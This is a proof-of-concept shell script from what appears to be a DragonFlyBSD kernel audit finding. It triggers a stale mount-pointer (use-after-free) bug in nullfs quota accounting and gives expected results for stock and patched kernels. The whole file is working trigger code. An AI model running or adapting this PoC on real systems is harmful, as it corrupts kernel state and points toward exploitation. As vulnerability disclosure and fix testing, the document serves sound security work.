⬢ DragonFlyBSD Kernel Audit
DF-2774 / poc.sh
← back to finding ↓ download raw 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/bin/sh
# DF-2774 PoC (final, as executed on the guest as /root/poc.sh)
#
# Prereqs: vfs.quota_enabled=1 (boot tunable in /boot/loader.conf + reboot),
#          unprivileged user "qa" (uid 1002) created on the guest.
# Root driver; all file activity is performed as the unprivileged user.
#
# Baseline (stock kernel #0) expectations:
#   - sanity: victim created through /mnt/alias charges the NULLFS mount
#     (alias: 4096 / lower: 0) -- vp->v_pfsmp accounting path is live.
#   - CONTROL: append via lower after umount(alias), nothing at the stale
#     address -> succeeds (mountlist_exists() finds no match, falls back
#     to vp->v_mount).
#   - TEST1: after mount_null(alias2) reuses the freed struct mount's
#     chunk and "vquota limit /mnt/alias2 10", the SAME append through the
#     LOWER tmpfs fails with EDQUOT ("Disc quota exceeded") -- the
#     unrelated alias2 mount's limit is enforced via the stale v_pfsmp.
#   - TEST2: O_TRUNC via lower charges -osize to alias2:
#     "vquota show /mnt/alias2" reports total: 18446744073709543424 (-8192).
#
# Patched (fix.diff) expectations: TEST1 succeeds (RC=0), alias2 stays 0.
set -x
umount /mnt/alias2 2>/dev/null
umount /mnt/alias 2>/dev/null
umount /mnt/lower 2>/dev/null
rm -rf /mnt/lower /mnt/alias /mnt/alias2
mkdir -p /mnt/lower /mnt/alias /mnt/alias2
mount -t tmpfs tmpfs /mnt/lower
chown qa:qa /mnt/lower
mount_null /mnt/lower /mnt/alias
echo '=== victim created THROUGH alias (ncp resolved via nullmp -> v_pfsmp=nullmp) ==='
su -m qa -c 'dd if=/dev/zero of=/mnt/alias/victim bs=4096 count=1'
echo '--- vquota show /mnt/alias (expect 4096) ---'
vquota show /mnt/alias
echo '--- vquota show /mnt/lower (expect 0: charge went to nullmp via v_pfsmp) ---'
vquota show /mnt/lower
echo '=== umount alias: nullmp freed, vp->v_pfsmp stale ==='
umount /mnt/alias
echo '=== CONTROL: append via lower, no mount at stale address ==='
su -m qa -c 'dd if=/dev/zero bs=4096 count=1 >> /mnt/lower/victim && echo CONTROL_APPEND_OK'
echo '--- lower usage (control append charged here, fallback path) ---'
vquota show /mnt/lower
echo '=== fresh nullfs mount (chunk reuse) + limit 10 ==='
mount_null /mnt/lower /mnt/alias2
vquota limit /mnt/alias2 10
echo '=== TEST1: append via LOWER, expect EDQUOT if stale->alias2 ==='
su -m qa -c 'dd if=/dev/zero bs=4096 count=1 >> /mnt/lower/victim'
echo "TEST1_RC=$?"
echo '=== TEST2: O_TRUNC via lower ==='
su -m qa -c ': > /mnt/lower/victim'
echo "TEST2_RC=$?"
echo '--- vquota show /mnt/alias2 (negative total => stale charge) ---'
vquota show /mnt/alias2